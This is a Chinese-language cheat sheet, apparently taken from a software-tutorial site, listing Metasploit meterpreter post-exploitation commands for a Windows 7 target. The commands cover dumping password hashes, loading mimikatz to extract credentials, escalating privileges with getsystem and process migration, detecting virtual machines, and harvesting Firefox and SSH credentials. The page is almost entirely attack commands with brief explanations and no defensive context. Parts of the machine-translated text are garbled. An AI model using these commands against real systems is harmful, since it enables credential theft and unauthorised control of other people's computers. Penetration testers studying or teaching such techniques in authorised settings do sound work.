本内容由系统网小编为大家分享，Windows系统安装教程、办公系统、软件怎么使用、软件使用教程、办公软件攻略等信息。

目录

调用内部网络信息收集

07口令破解

普通用户提权

08other

调用内部网络信息收集

卡利袭击者

目标胜利7

07口令破解

use post/windows/gather/hashdump //system permissions meterpreter

set session 1

exploit // 在tmp目录中存储的结果

use post/windows/gather/smart_hashdump

set session 1

exploit

格式

用户名:RID:LM-HASH值:NT-HASH值

rid是一个与窗口系统帐户相符的固定值,类似于Linux uid,gid号，为管理员500元,501 为客人。又叫,又叫,它们都加密到用户密码上,只不过加密方式不同

hashdump使用了一些模仿函数

load mimikatz

wdigest、kerberos、msv、ssp、tspkg、livessp

mimikatz_command -h

mimikatz_command -f a: // 要查询哪些模块

mimikatz_command -f samdump::hashes

mimikatz_command -f samdump::bootkey

普通用户提权

getuid

查看用户权限

hashdump

需要管理员的权限

getsystem

只是它表面上拥有管理权,却没有真正的管理权

ps

查看进程

getpid

查看当前进程

migrate

进程转移(将普通用户进程转移到管理员用户进程)

hashdump

08other

确定目标主机是否是一个虚拟主机:

run checkvm

获取目标主机上的软件安装信息:

run post/windows/gather/enum_applications

获取最近访问的文件和链接目标主机的信息:

run post/windows/gather/dumplinks

查看目标环境信息：

run post/windows/gather/env

查看在Firefox中存储的帐户密码:

run post/windows/gather/firefox_creds

查看ssh帐户密码的秘密消息和证书信息:

run post/windows/gather/ssh_creds

XTw.com.Cn系统网专业应用软件下载教程，免费windows10系统,win11,办公软件,OA办公系统,OA软件,办公自动化软件,开源系统,移动办公软件等信息，解决一体化的办公方案。